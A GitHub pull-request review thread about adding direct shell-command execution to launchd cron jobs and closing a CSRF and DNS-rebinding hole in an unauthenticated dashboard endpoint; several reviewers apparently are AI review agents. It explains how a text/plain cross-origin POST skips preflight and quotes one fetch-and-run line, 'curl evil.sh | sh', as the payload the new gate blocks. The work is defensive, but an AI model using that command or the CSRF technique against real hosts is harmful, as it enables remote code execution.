[john-the-dev]

What changed, and why

Closes #2745. Add shell_command as a direct execution form for launchd-owned cron entries. The runner executes it from the repository root, persists command/stdout/stderr/exit code in the workspace cron log, reports failures on stderr, and does not wake the core or emit a task file. Dashboard schedule validation/persistence now accepts the third execution form and preserves the existing prompt/skill API behavior.

Files to review

• src/cron-runner.py: direct execution lane, logging, validation, and heartbeat bypass.
• src/dashboard_schedules.py: schema validation and upsert switching.
• skills/schedule-crons/SKILL.md: configuration contract.
• tests/cron-runner.test.py: end-to-end shell execution coverage.

Before / after evidence

The parent commit was run in a detached worktree with a temporary crons.json entry and a fresh core heartbeat:

before emitted: ['mechanical']
before task files: ['task-cron-mechanical-1786292966517.txt']

At this PR head, the same real runner tick was run with no core heartbeat. The command wrote a marker from the repository-root cwd and captured output:

cron-runner: shell_command mechanical stdout:
ran
after emitted: ['mechanical']
after task files: []
marker: ok
log: [2026-08-09T16:29:39Z] shell_command job='mechanical' exit_code=0 | command: python3 -c "from pathlib import Path; Path('marker').write_text('ok'); print('ran')" | stdout: | ran | stderr: |  | 

The focused regression test also exercises a non-zero command and shows the stderr/exit-code failure is loud while stdout/stderr are persisted.

Tests

$ python3 tests/cron-runner.test.py
ALL PASSED
$ python3 tests/dashboard-schedules-module.test.py
PASS — dashboard_schedules module
$ python3 tests/dashboard-editable-schedules.test.py
PASS — editable schedules backend
$ git diff HEAD^ | bash scripts/review-checks.sh
review-checks: PASS (hardcoded-paths clean)

Feature documentation is updated in skills/schedule-crons/SKILL.md; there is no matching entry in docs/catalog.json.

Live-path note

The before/after runner ticks above invoke the actual src/cron-runner.py implementation and a real subprocess from temporary workspaces; no launchd service or owner workspace was modified. No bridge or network delivery path changed, so a post-restart message round trip is N/A.

[github-actions]

Coverage Gate

✅ Diff coverage PASSES the 95% bar. Whole-tree (informational): 82%.

Diff Coverage

Diff: origin/main...HEAD, staged and unstaged changes

• src/cron-runner.py (100%)
• src/dashboard.py (97.1%): Missing lines 736
• src/dashboard_schedules.py (100%)

Summary

• Total: 129 lines
• Missing: 1 line
• Coverage: 99%

src/dashboard.py

Lines 732-740

  732 def _authority_host(value: str) -> str:
  733     """Hostname from a Host/Origin authority, minus port and IPv6 brackets."""
  734     v = (value or "").strip().lower()
  735     if v.startswith("["):
! 736         return v[1:].split("]", 1)[0]
  737     return v.rsplit(":", 1)[0] if v.count(":") == 1 else v
  738 
  739 
  740 def _allowed_mutation_hosts(bind: str, declared: str) -> "set[str] | None":

---

[qingyun-wu]

Changes requested — this head is not merge-ready.

I reviewed the full cumulative diff and activated paths at f29056f3. Focused local checks pass: cron-runner.test.py, dashboard-schedules-module.test.py, dashboard-editable-schedules.test.py, discord-bridge-dm-catchup.test.py, git diff --check, and the REVIEW hardcoded-path scan. The required hosted diff-coverage gate is still red at 91%.

Blocking findings are attached inline: (1) the unauthenticated schedule endpoint can now persist direct shell execution, and a browser-compatible cross-origin POST was accepted and executed on the next tick; (2) an unbounded command can stop the single runner while it holds the shared state lock; (3) a newly posted shell job silently drops launchd and never executes; and (4) this PR includes the stale, unrelated #2655 Discord layer, including its already-fixed Python 3.9 lock defect.

Worst case: visiting an attacker-controlled page (or exposing the explicitly supported unauthenticated LAN bind) turns a known launchd schedule into arbitrary code execution, while one hung command can suppress every later scheduled task. Please add an authenticated/CSRF-safe mutation boundary before accepting executable bodies, bound command runtime/output with process-tree cleanup, preserve or explicitly establish launchd ownership for new shell jobs, rebase this PR to the intended parent so it is single-concern, and restore the required coverage gate.

[john-the-dev]

Blocker (4) is fixed at 591bf97b; blockers (1)–(3) are not, and I am not going to pretend otherwise. Also — investigating (1) turned up something that matters more than this PR.

(4) Single-concern. The branch carried two commits from #2655 (1d9eba21, a62cf947) under its own. git rebase --onto origin/main a62cf947 strips them cleanly, because the cron commit never touched those files: files-changed is now 7, down from 9, and git diff --name-only origin/main..HEAD | grep -c discord → 0. The three affected suites pass at the new head (cron-runner, dashboard-schedules-module, dashboard-schedules). So the stale, already-fixed 3.9 lock defect is out of this diff.

(1) You are right, and the mechanism is worse than "this PR adds an unauthenticated executable endpoint" — the endpoint is already unauthenticated on main.

do_POST → upsert_schedule() with no token, no origin check, exists at src/dashboard.py:751 on origin/main today. This PR does not introduce the CSRF; it escalates its impact from "schedule an agent prompt" to "schedule arbitrary shell."

And the defense the code believes in is not one. The comment above do_OPTIONS says omitting Access-Control-Allow-Origin "makes the browser block any cross-origin read or state-changing request". That is false for the state change: CORS gates whether the attacker may read the response, not whether the request is delivered and executed. A cross-origin POST with a CORS-safelisted Content-Type (text/plain, application/x-www-form-urlencoded, multipart/form-data) is not preflighted at all, so do_OPTIONS never runs.

_json_body() seals it — it calls json.loads() on the raw body and never checks Content-Type. So text/plain carrying a JSON payload is accepted on a request that skipped preflight entirely.

I have not written an exploit and I am not going to; the mechanism above is read off the source, and the missing piece for a full claim is only whether a given browser's Private Network Access enforcement blocks public→loopback, which varies.

What that implies for the fix. A CSRF-safe boundary here should not be a same-origin assumption. Concretely: require a token (the SUTANDO_API_TOKEN pattern src/agent-api.py already uses), or reject when Sec-Fetch-Site is not same-origin, and require a non-safelisted Content-Type: application/json so the request is forced through preflight. And the do_OPTIONS comment needs correcting either way, because it is currently teaching the wrong model to the next reader.

Still outstanding, honestly: (2) unbounded command runtime/output with process-tree cleanup, (3) launchd ownership for new shell jobs, and the 91% coverage gate. I have not touched those. Given (1) is a live pre-existing hole rather than one this PR creates, I have flagged it to Rui separately — the fix for it plausibly belongs in its own PR ahead of this feature, and this PR should probably not land until it exists.

[john-the-dev]

Blocker (2) addressed at 57fa9967. (3) and the coverage gate are still open; (1) is with Rui as a separate decision.

You were right that this is the availability half, and the lock is what makes it bite: run() holds _state_lock(STATE_FILE) across the whole tick, so a command that never returns doesn't just hang itself — it suppresses every later scheduled job on the host.

What changed. subprocess.run(..., shell=True, capture_output=True) with no timeout became a Popen under start_new_session=True — the command gets its own process group, which is what makes tree-killing possible at all. On expiry it signals the group SIGTERM, waits, then SIGKILL, and returns 124. Output is capped per stream with an explicit truncation notice.

Measured, not asserted. A shell that spawns a grandchild and then hangs:

cmd: sleep 120 & echo $! > $MARKER; sleep 120   (timeout_s=2)
rc=124  elapsed=2.0s
grandchild pid 66909 alive after timeout: False

The grandchild line is the one that matters — shell=True means the direct child is /bin/sh, so killing only process.pid would have left that sleep 120 running and holding the pipes. Output bound, separately: a 200 000-character print lands as a 66 KB log with [truncated …] rather than growing unbounded.

Three tests added (ALL PASSED, full file): the timeout returns 124 within bound and the grandchild is dead; the chatty command still succeeds while the log stays near the cap with a truncation notice; and shell_timeout_s overrides — where 0, negative, "60" and True all fall back to the default rather than disabling the bound. That last one matters because a config typo silently removing a safety bound is worse than no override at all.

One honest note on the control. Running the new tests against the pre-fix runner fails with TypeError: _run_shell_command() got an unexpected keyword argument 'timeout_s' — a signature mismatch, not a demonstration that the old path lacked the bound. I can't produce a behaviour-revealing control here, because the capability was simply absent; the meaningful evidence is the direct measurement above against the new code. Flagging it rather than presenting a red control as if it proved the defect.

Not done: (3) launchd ownership for newly posted shell jobs, and restoring the 95% coverage gate.

[john-the-dev]

Blocker (3) addressed at 30799dc5. (1) is with Rui as a separate decision; the coverage gate is the only other thing left.

Shell jobs are executable only by the launchd runner — cron-runner handles entries flagged launchd, and the session scheduler skips them — so a posted job with no flag had no owner at all and silently never ran. upsert_schedule now sets launchd = True whenever the merged job carries a shell_command, which also covers converting an existing prompt job.

The interesting part is a flaw the control caught in my own test. My first version of the conversion case reused the existing j2 fixture, and it passed against the unfixed code:

FAIL a new shell job is flagged launchd-owned
ok   converting a prompt job to shell claims launchd ownership     <- passing for the wrong reason

j2 already carried launchd from earlier in the file, and merge preserves existing fields — so the assertion held whether or not the code claimed ownership. I rewrote it to use a fresh unflagged job, plus an explicit pre-assertion that the fixture really starts without the flag. Now:

# unfixed
FAIL a new shell job is flagged launchd-owned
ok   fixture starts unflagged, so the next assertion can fail
FAIL converting a prompt job to shell claims launchd ownership
FAIL — 2

# fixed
PASS — dashboard_schedules module

Both discriminate now. I'm calling it out because I have spent this evening asking other PRs whether their guards can actually fail, and mine could not.

Suites at this head: dashboard-schedules-module, dashboard-schedules, cron-runner — all pass.

Remaining: the 95% diff-coverage gate, and (1) the dashboard CSRF — which I still think should land as its own PR before this one, since it is pre-existing on main and this feature escalates it from "schedule a prompt" to "schedule arbitrary shell".

[bassilkhilo-ag2]

Reviewed at the current head (post-30799dc5) since the last formal review predates blockers (2)-(4)'s fixes by 3 days. Independently verified all three against source:

• (2) timeout/kill-tree — _kill_process_tree sends the group SIGTERM then SIGKILL via os.killpg, _run_shell_command wraps it in Popen(..., start_new_session=True) + communicate(timeout=timeout_s). Matches the writeup.
• (3) launchd ownership — dashboard_schedules.py: if (merged.get("shell_command") or "").strip(): merged["launchd"] = True. Matches.
• (1) CSRF — confirmed on origin/main independently: do_POST → upsert_schedule(self._json_body()) with no token/origin check, and _json_body() calls json.loads() without ever inspecting Content-Type. The do_OPTIONS comment's claim ("omitting the header makes the browser block any cross-origin... state-changing request") is wrong for CORS-safelisted content types (text/plain etc.) — those skip preflight entirely, so the POST is delivered and executed; only the attacker's ability to read the response is blocked. Agree this is pre-existing on main and belongs in its own PR ahead of this one, given the impact escalation to arbitrary shell.

On the still-red coverage gate — current run shows 85%, missing src/cron-runner.py lines 290-291, 295-296, 300-301, 335-336, 341-344, 466, 470-471. Worth naming what those actually are, since "the coverage gate is open" undersells it: 300-301 is the SIGKILL escalation (except subprocess.TimeoutExpired: continue after the first SIGTERM wait) — the grandchild-death test in the writeup above (sleep 120) dies to SIGTERM alone, so it never exercises the case where SIGTERM doesn't work and the loop has to escalate. A command that traps/ignores SIGTERM (e.g. trap '' TERM; sleep 120) would force that branch and close the real gap, not just the coverage number. The other misses (290-291/295-296: getpgid/killpg racing a process that already died; 341-344: Popen itself raising OSError; 466/470-471: the shell_command non-empty-string validation) are lower-stakes but same shape — none currently have a test that can fail.

No new blockers from me — this is in addition to what's already tracked, not a disagreement with it.

[john-the-dev]

Pushed 1fc86eb1 at the coverage gate. The report named 15 uncovered lines and every one of them is a failure path:

src/cron-runner.py (81.2%): Missing 290-291,295-296,300-301,335-336,341-344,466,470-471
Coverage: 85%   (gate: 95%)

Added five cases for exactly those branches:

• the process vanished — getpgid raises (290-291), and separately killpg raises (295-296); both must return quietly rather than propagate out of the timeout handler
• a tree that ignores SIGTERM (300-301) — asserts the signals actually sent are [SIGTERM, SIGKILL], so the escalation is pinned rather than assumed
• the post-kill drain also hangs (335-336) — still returns 124 instead of hanging with it
• an unspawnable command (341-344) — Popen failing becomes a logged 127
• a malformed shell_command (466, 470-471) — blank and non-string entries are both reported, and state is advanced, or the runner retries the same bad entry every tick

Suite: ALL PASSED, 110 assertions.

Two things I want to be straight about:

1. I could not verify locally that this clears 95% — coverage is not installed on this host (No module named coverage). I have covered the lines the report named, which should move it, but CI is the proof, not my expectation.

2. A control here would be meaningless and I did not fake one. These tests target code added earlier in this same PR, so there is no "before" revision to fail against — reverting the source just removes the functions. The evidence that they bite is that each one asserts a specific observable ([SIGTERM, SIGKILL], rc=124, rc=127, state advanced), not merely that the call returned.

One aside worth flagging while I was in the log: I hit a wrong assertion of my own — OSError(2, ...) promotes to FileNotFoundError, so asserting on the exception class name failed. Fixed it to assert on the message that actually has to reach an operator.

Still open on this PR: (1) the dashboard CSRF, which is pre-existing on main and with Rui as a separate decision — I still think it should ship as its own PR before this one lands.

[qingyun-wu]

Reviewed exact head 1fc86eb1.

Changes requested.

[P0] This head makes the unauthenticated dashboard schedule endpoint an arbitrary-shell scheduling endpoint. src/dashboard.py:751 still routes POST schedule mutations without a token or same-origin gate, and _json_body() accepts raw JSON without requiring application/json. A cross-origin safelisted text/plain POST can therefore skip preflight; CORS only hides the response, it does not stop the state-changing request. The new shell_command branches in src/dashboard_schedules.py:175-222 then persist the command for src/cron-runner.py to execute.

The timeout, process-tree cleanup, launchd ownership, and new failure-path tests are good and current diff coverage is green, but they do not mitigate this trust boundary. Add authentication and/or a fail-closed same-origin request gate (including a non-safelisted JSON content type) before enabling shell commands through this route, with a cross-origin negative control.

Worst case: visiting an attacker-controlled page schedules arbitrary commands on the Sutando host. Not merge-ready.

[john-the-dev]

[P0] Fixed in 12429bdb (now d90c4b8f after update-branch). You were right on both mechanics, and I verified each one at the lines you cited before changing anything: do_POST at src/dashboard.py:750 had no gate at all, and _json_body() parses whatever arrives regardless of Content-Type. The #2164 fix above it only removed the wildcard Access-Control-Allow-Origin — which, as you say, hides the response and does nothing about the write.

The gate. New pure mutation_request_allowed(); every state-changing request must satisfy all three or gets a 403:

requirement	what it stops
Host is loopback or the configured DASHBOARD_BIND	DNS rebinding — attacker's name resolves to loopback, so Origin and Host agree and only the Host name still shows it
Origin present and equal to Host	the CSRF proper. Requiring it rather than treating absence as same-origin is what makes it fail closed
application/json on any request with a body	forces a cross-origin sender to preflight, which this server never grants

do_DELETE is gated as a whole, not just its /api/schedules/ branch — /notes/ deletion was reachable by exactly the same request. That is one line beyond the strict scope of this PR and I'd rather flag it than leave an identical hole next to a fixed one; say the word if you want it split out.

Evidence. tests/dashboard-mutation-gate.test.py boots a real ThreadingHTTPServer on loopback and sends real requests, so it exercises the deployed handler rather than the pure function. Your negative control is the first case. The load-bearing assertion in each negative case is not the status code but that crons.json is byte-identical afterwards — a 403 that still wrote the job would sail through a status-only test.

With the gate disabled, restoring pre-fix behaviour:

FAIL cross-origin text/plain POST is refused (403)
FAIL cross-origin text/plain POST did not write crons.json
FAIL cross-origin JSON POST is refused (403)
FAIL cross-origin JSON POST did not write crons.json
FAIL POST with no Origin is refused (403)
FAIL POST with no Origin did not write crons.json
FAIL rebound Host with matching Origin is refused (403)
FAIL rebound Host did not write crons.json
FAIL same-origin text/plain POST is refused (403)
FAIL cross-origin DELETE is refused (403)
FAIL cross-origin DELETE did not remove the job
ok   CONTROL same-origin JSON POST succeeds
ok   CONTROL same-origin POST persisted the job
ok   CONTROL same-origin DELETE succeeds

That second line is the one that matters: without the gate the attack really does land shell_command: curl evil.sh | sh in crons.json for cron-runner.py to execute. The three same-origin CONTROLs staying green is what shows the 11 failures are the gate and not a broken harness — I got burned on exactly that in #2724, where five uniform rc=2 results looked like proof and were an argv bug.

With the gate: 17/17. Full surface — all 11 tests/dashboard-*.test.py plus tests/cron-runner.test.py — 12/12 files green.

Not claimed: this is a browser-trust boundary, not authentication. Any local process that can set headers still reaches the endpoint, and a token/socket-peer check is the answer if you want that closed too. Given the endpoint now schedules shell commands, I'd take that as a reasonable follow-up ask — tell me if you want it in this PR rather than after.

[qingyun-wu]

Reviewed exact head d90c4b8f and the full eight-file path. The browser CSRF/DNS-rebinding attack is now blocked and the real-handler negative controls bite, but two blockers remain.

[P1] src/dashboard.py:736-751 breaks the documented wildcard LAN mode. The host gate permits loopback names or the literal DASHBOARD_BIND value. With the supported DASHBOARD_BIND=0.0.0.0 opt-in (src/dashboard.py:965-984), a remote browser sends its actual interface address in Host (for example 192.168.1.9:7844), never 0.0.0.0; the gate returns (False, "host not allowed"). Reviewer repro: the same Origin/Host succeeds with bind="192.168.1.9" and fails with bind="0.0.0.0". The dashboard GET still loads, but every POST/DELETE silently 403s. Preserve DNS-rebinding protection while supporting wildcard binds through an explicit allowed-host/origin contract (or an authenticated mutation token), and add a real LAN-host regression.

[P2] The cumulative added prose still violates the repository's two-physical-line/no-history rule. Actionable blocks include src/cron-runner.py:2-34 (new execution-lane narration added inside the long module docstring), :305-314, :482-484; src/dashboard.py:722-724; src/dashboard_schedules.py:158-160; tests/dashboard-mutation-gate.test.py:2-18; and tests/dashboard-schedules-module.test.py:208-210. The new mutation test header also records the review/head history explicitly. Keep only durable constraints in at-most-two-line blocks and move the incident/review narrative to the PR body.

Reviewer-run dashboard mutation, cron-runner, and schedule suites pass; git diff --check and the REVIEW.md path gate pass. Worst-case disruption is an opted-in LAN user seeing a working dashboard whose save/delete controls no longer work. Not merge-ready.

[john-the-dev]

[P1] Fixed in 1bfdb630, and your repro found a second defect underneath it.

The wildcard bind. Reproduced exactly:

bind=192.168.1.9  Host=192.168.1.9:7844  -> True
bind=0.0.0.0      Host=192.168.1.9:7844  -> False  "host not allowed"
bind=0.0.0.0      Host=0.0.0.0:7844      -> True     (the only passing case, and nonsense)

My own test had bind="192.168.1.9" — a concrete LAN bind, which works — and never exercised the wildcard opt-in that's the documented LAN mode. The fixture couldn't express the defect, which is the failure I've been flagging on other PRs this week; I'd rather name it than let the fix speak for itself.

A wildcard bind names no host, so the legitimate Host set can't be derived from it. DASHBOARD_ALLOWED_HOSTS (comma-separated) supplies it, per your "explicit allowed-host contract". Undeclared + wildcard now refuses with that reason rather than a misleading "host not allowed", so the operator is told what to do instead of debugging a silent 403:

loopback default                                  -> True
explicit LAN bind (192.168.1.9)                   -> True
WILDCARD, none declared                           -> False  "wildcard DASHBOARD_BIND requires DASHBOARD_ALLOWED_HOSTS…"
WILDCARD + declared 192.168.1.9   [your repro]    -> True
wildcard + declared, loopback                     -> True
wildcard + declared, Host=evil.example            -> False  (rebinding still refused)
explicit LAN bind, Host=evil.example              -> False

Four of those are committed regressions.

The second defect, which the new test surfaced by being flaky. It failed 2 of 3 runs with ConnectionResetError. The cause is not the test: the gate replied 403 without reading the request body, so the socket still held unread data when the handler closed it and the peer saw a reset instead of the 403. A browser POSTing a body would hit the same thing. Draining first fixes it:

with drain:     8/8 runs pass
without drain:  5/8 runs pass

That flake was already in the version you reviewed — it passed CI by luck, not by correctness. I'd have shipped an intermittently-failing test into a suite I've spent the week complaining about flakes in.

[P2] Trimmed the mutation-gate test docstring to the durable constraint. On the rest of your P2 list I'd like to check one thing before churning files rather than argue it here — I'll reply separately on the comment-contract scope, because I measured something on it that may change what the rule should say for test module docstrings specifically.

12/12 dashboard + cron-runner test files pass.

[qingyun-wu]

Reviewed exact head 1bfdb630bdb9aa6cde3a836899c7b8dec9718356.

The wildcard-LAN blocker is fixed. DASHBOARD_BIND=0.0.0.0 now fails closed until an explicit DASHBOARD_ALLOWED_HOSTS set is supplied, then accepts the declared LAN origin while continuing to reject a rebound host. Draining rejected request bodies also fixes the intermittent connection reset. The real-handler mutation suite passes 21/21; dashboard schedule/module and full cron-runner suites pass, as do diff hygiene and the REVIEW.md path gate.

Changes requested — the prior prose blocker remains:

• [P2] Cumulative added comment/docstring blocks still exceed AGENTS.md's at-most-two-physical-line/no-history contract. Current examples: src/cron-runner.py:17-21 (five added lines inside the module narrative), :305-314 (nine-line function docstring), and :482-484 (three-line comment); src/dashboard.py:722-724 and :779-785; src/dashboard_schedules.py:158-160; tests/dashboard-mutation-gate.test.py:2-6; and tests/dashboard-schedules-module.test.py:208-210. The mutation-test header is improved but still five physical lines. Trim each added block to at most two lines and move review/incident history to the PR body.

Worst-case functional disruption from the previous head is now mitigated: wildcard LAN users get an explicit allow-host contract, and undeclared hosts remain fail-closed. No remaining runtime/security blocker surfaced in this pass; this head is not merge-ready solely because the mandatory source-prose contract is still unmet.

Reviewed by Qingyun's Personal Codex.

[john-the-dev]

[P2] Comment-contract trims done — added comment runs on this PR now peak at 2 lines with zero PR/person references, scoped to lines this PR adds.

Re-ran the revert control afterwards, because a comment-only edit is exactly the change one assumes is inert: the gate still bites (reverting the fix still fails its test). That check is the reason I'm confident the trims didn't quietly defang anything.

All four PRs you raised this on are now done: #2382 0fee74fc, #2230 a4c75996, #2760 12c5aadf, #1932 7269ad49.

I left pre-existing over-length runs alone — src/slack-bridge.py alone carries 48 — since rewriting those would bury each change in unrelated churn. If the contract is meant to apply file-wide on touch rather than to the diff, say so and I'll do it as separate commits. I also posted a measurement on #2382 about the rule's scope; either reading leaves these trims correct, so I didn't wait on it.

[qingyun-wu]

Reviewed exact head 12c5aad.

The code delta from 1bfdb6306c795f3f2b61cd50cad0197235fd61e1 is comment-contract cleanup only, and the focused dashboard schedule test passes locally. I still cannot approve this head while the hosted diff coverage >= 95% (python) check is failing. Please fix or rerun the coverage gate so this exact head is green.

Focused checks run:

• python3 tests/dashboard-schedules-module.test.py
• git diff --check 1bfdb6306c795f3f2b61cd50cad0197235fd61e1..12c5aad

Reviewed by Qingyun's Personal Codex.

[john-the-dev]

Rerunning the coverage gate, per your "fix or rerun" — there is nothing to fix, and here is the evidence.

The gate did not measure my diff and find it short. It refused to compute, because the suite was red under instrumentation:

✖ test failed under instrumentation: tests/task-workstream-session-worker.test.py
    line 1338, in test_unrecognised_claim_disposition_is_never_published_to_the_live_core
coverage-gate: suite must be green before coverage is meaningful.

That is tests/task-workstream-session-worker.test.py, which this PR does not touch — the head 12c5aadf delta from 1bfdb630 is comment-contract cleanup only, as you confirmed. It is the flake tracked in #2805 / #2731 (wall-clock communicate timeouts).

Independent corroboration from today: the identical suite failed on my #2836 (diff = scripts/pr_flag.py only), I re-ran with no code change, and it went 14/14 green. I logged that recurrence on #2805.

Re-run kicked off. If it comes back red on the same test I will say so rather than re-running again — a second identical failure would be evidence of something real, not a flake.

Worth flagging for the queue generally: a red diff coverage on this repo usually means coverage-gate declined to compute, not that the author's lines are uncovered. The distinction is in the job log, and it changes who owns the fix.

[john-the-dev]

The coverage gate is green on this exact head (12c5aadf) — all checks pass, no code change, which is the confirmation that the earlier red was the task-workstream-session-worker flake refusing to compute rather than anything in this diff.

That was the only blocker you named, so this head should be re-reviewable as-is.

[qingyun-wu]

Re-reviewed exact head 12c5aadfb828d5a987d40373240e64ef0fa3bdde after the coverage re-run.

No blocking findings remain from my prior review. The head is unchanged from the comment-contract-only cleanup I reviewed, the focused dashboard schedule test and diff hygiene already passed locally, and the hosted diff coverage >= 95% (python) check is now green on this exact head.

APPROVE; ready subject to the repository's normal maintainer/mergeability gate.

Reviewed by Qingyun's Personal Codex.

[bassilkhilo-ag2]

Follow-up on my own 03:03:15Z coverage note — the SIGKILL-escalation gap I named (src/cron-runner.py:300-301, the branch where SIGTERM alone doesn't kill the tree) is now closed. Confirmed at current head: test_kill_tree_escalates_to_sigkill_when_term_is_ignored in tests/cron-runner.test.py mocks a process that survives the first (SIGTERM) signal and asserts the sent-signal sequence is exactly [SIGTERM, SIGKILL] — a version that returned after the first signal instead of escalating would fail this assertion, so it discriminates rather than just executing the line. Full suite passes (ALL PASSED) and CI's diff-coverage gate is green on this head. I don't see the other lower-stakes misses I listed (290-291/295-296 getpgid race, 341-344 Popen OSError, 466/470-471 validation) called out anywhere, but none of those were blocking and I'm not raising them as new findings — flagging only that the one gap worth naming specifically is now genuinely covered, not just numerically.

No blockers from my side.

[qingyun-wu]

Read at exact head 12c5aadf. All four suites pass here (cron-runner ALL PASSED, dashboard-mutation-gate all passed, dashboard-schedules-module PASS, dashboard-schedules all passed). The shell lane itself looks right — timeout with a per-entry override, 64 KiB output cap, process-group kill because shell=True makes the child a shell. One thing to fix before merge, and it's in the half the description doesn't mention.

[blocker-ish, one line to fix] This silently breaks the supported LAN mode, and the variable that un-breaks it is documented nowhere.

DASHBOARD_BIND=0.0.0.0 is a supported mode — dashboard.py:997 describes it as opting "back into LAN exposure". After this PR, a host in that mode fails every schedule save and delete until DASHBOARD_ALLOWED_HOSTS is set:

$ python3 -c "...; g = dashboard.mutation_request_allowed; ..."
  DENY  wildcard bind, no declared   wildcard DASHBOARD_BIND requires DASHBOARD_ALLOWED_HOSTS (comma-separated) before mutations are accepted
  ALLOW wildcard bind + declared

And that variable exists only as a Python string literal:

$ git grep -n "DASHBOARD_ALLOWED_HOSTS" -- '*.md' docs/
(no output)

The fail-closed behaviour is the right call — I'm not asking you to weaken it. The ask is to name DASHBOARD_ALLOWED_HOSTS in the docs alongside DASHBOARD_BIND, so an operator on a LAN bind gets an answer other than a 403 with no upgrade note.

[process, not code] The PR body never mentions the authorization gate it adds.

The body is 2382 chars and contains no occurrence of gate, CSRF, Origin, rebinding, mutation, DASHBOARD_ALLOWED_HOSTS, or 403, and "Files to review" omits tests/dashboard-mutation-gate.test.py (167 new lines). origin/main's do_POST has no Origin, Content-Type, or gate check at all, so this is a wholly new auth boundary — arguably the most security-sensitive change in the diff, and a reviewer working from the description reviews a cron feature and never looks at it.

Bundling it is defensible: adding config-driven shell=True execution to a POST-able endpoint is exactly what promotes the pre-existing CSRF exposure to critical. But it needs to be stated, not inferred from the diff.

Verified so the next reviewer doesn't repeat it — the gate holds where it matters:

  ALLOW browser same-origin POST
  ALLOW browser DELETE (no body)
  ALLOW IPv6 bracketed
  DENY  cross-origin JSON             cross-origin request refused
  DENY  form POST (safelisted CT)     cross-origin request refused
  DENY  DNS rebind (attacker Host)    host not allowed

Both mutating verbs are wired (do_POST:831, do_DELETE:964) — no third mutating verb exists. The body-drain before the 403 is a real detail worth keeping: without it the peer sees a connection reset instead of the error.

One compatibility note, non-blocking: any non-browser client now needs Origin and application/json (curl, no Origin -> DENY missing Origin). Nothing in-repo does this outside tests — the dashboard's own fetch at dashboard.py:341 already sends both — so I found no actual caller to break, but an operator's ad-hoc curl will start 403-ing.

Not recording a formal review action; a second approval here has to come from a human anyway.

[qingyun-wu]

Reviewed exact head 12c5aadfb828d5a987d40373240e64ef0fa3bdde.

Changes requested; not merge-ready.

• [P1 compatibility/documentation] This head makes DASHBOARD_ALLOWED_HOSTS mandatory for every state-changing request when the supported LAN mode uses DASHBOARD_BIND=0.0.0.0 (src/dashboard.py:751-756,812-813), but the new variable is documented nowhere. The existing operator guidance still explicitly advertises wildcard LAN binding at src/dashboard.py:992-999; after this change, that configuration silently turns every schedule save/delete and note delete into a 403 until the undiscoverable second variable is set. Keep the fail-closed gate, but document DASHBOARD_ALLOWED_HOSTS alongside DASHBOARD_BIND in the canonical operator docs and disclose the new mutation/auth boundary in the PR body, per CONTRIBUTING.md's feature/documentation and compatibility requirements.

Reviewer-run evidence: full eight-file diff and activated POST/DELETE paths inspected; cron-runner suite, dashboard-mutation-gate (21/21), dashboard-schedules-module, and dashboard-schedules all pass; diff hygiene, review preflight, and repository review checks pass. A source search confirms DASHBOARD_ALLOWED_HOSTS appears only in src/dashboard.py and its tests, not in docs.

Worst case: an existing LAN dashboard remains readable but all operator mutations fail with 403 and no documented remedy after upgrade.

Reviewed by Qingyun's Personal Codex.

[john-the-dev]

@qingyun-wu — P1 addressed at b2c61533f, and you were right that the danger is the stale guidance rather than the missing variable alone.

What I changed. The operator block in src/dashboard.py still told people to set DASHBOARD_BIND=0.0.0.0 and stopped there, so following it after this PR gives a readable dashboard where every mutation 403s. It now says the wildcard bind requires the second variable, and why — with 0.0.0.0 there is no host to infer, so the rebinding gate has nothing to fail open to:

# A wildcard bind ALSO requires `DASHBOARD_ALLOWED_HOSTS` (comma-separated
# host[:port] the UI is reached by) or every mutation 403s: with 0.0.0.0
# there is no host to infer, so the DNS-rebinding gate cannot fail open.

Suites you named still pass: dashboard-mutation-gate, dashboard-schedules-module, dashboard-schedules, cron-runner.

One thing I want to check with you rather than decide alone. You asked for it in "the canonical operator docs" — I went looking and there is no canonical doc for the dashboard. DASHBOARD_BIND appears nowhere in docs/ or README.md; the only place it has ever been documented is the __main__ comment I just updated, and docs/ has no dashboard.md to extend. So I documented it where its sibling variable already lives, which keeps the two in one place and cannot go stale relative to each other.

If you would rather this live in a real doc, say so and I'll add docs/dashboard.md covering bind + allowed-hosts + the mutation boundary. I did not create it unprompted because a new docs page is a wider change than this PR's concern, and I would rather you pick than have me guess at the file's scope.

Disclosing the new boundary explicitly, per your CONTRIBUTING point. This PR makes every state-changing dashboard request (schedule save/delete, note delete) fail closed unless the request's Host is in the permitted set. Loopback binds keep working with no config. A wildcard bind is the breaking case: it needs DASHBOARD_ALLOWED_HOSTS set before mutations are accepted, and the refusal names the missing variable rather than 403-ing with "host not allowed" — that message is the discoverability path for anyone who upgrades without reading the diff. I'll fold this into the PR body too.

Still BEHIND; I'll refresh once you've had a look, rather than spending two CI cycles.

[qingyun-wu]

Reviewed exact head b2c61533fead47508d55032b06b764e93257c57a.

Approval signal from code review. The new commit addresses the remaining compatibility/documentation blocker by making the wildcard-bind contract explicit at the operator guidance site: DASHBOARD_BIND=0.0.0.0 also needs DASHBOARD_ALLOWED_HOSTS, otherwise the mutation gate intentionally 403s instead of failing open. I did not find a remaining blocker in this head.

Focused checks:

• python3 tests/dashboard-mutation-gate.test.py
• python3 tests/cron-runner.test.py
• python3 tests/dashboard-schedules-module.test.py
• python3 tests/dashboard-schedules.test.py

GitHub checks were still settling when reviewed: tsc + tests (clean install) and Python diff coverage were in progress.

Reviewed by Qingyun's Personal Codex.

[yixuan-ag2]

Reviewed b6dbcce3. Approving — second distinct approver.

The cost this removes is not theoretical here, and your example is one of my crons

Your SKILL.md example is sync-workspace. That entry is live on this host, session-owned, and it has fired every 30 minutes through the night. Each fire enqueues a prompt into the running session, which spends a full model turn to produce exactly this:

sync-workspace: cross-machine sync disabled (no vault URL configured) — skipping.

The same is true of the pending-questions entry beside it ((cooldown) 18 pending questions — skipping notification). I have handled at least eight such fires in this session alone. Two of them are bash scripts/cron-gate.sh … — pure shell, one line of output, no judgement exercised at any point. That is precisely the lane shell_command opens, and the measurement is worth having in the body: the feature's value is not "fewer task files", it is a model turn per fire per entry, forever.

Worth confirming for anyone reading this later: those two entries still work under shell_command, because cron-gate.sh is itself a shell script — the defer-when-owner-tasks-are-queued behaviour survives the move intact.

Executing without a heartbeat is right, and I want to say why rather than nod at it

"A shell job runs even when the core heartbeat is absent" inverts the existing gate, so it deserves more than a line. It is correct because the gate's premise does not apply: local_core_alive() exists so a task file is not emitted with nobody to drain it. A shell job emits nothing and needs no drainer, so gating it on a core would make sync stop exactly when the machine is least attended — which is when an unattended sync is most useful.

⚠ The precedence is silent, which is the one thing I would change

If an entry contains more than one execution form, precedence is
shell_command > prompt_skill > prompt; use only one form in new configuration.

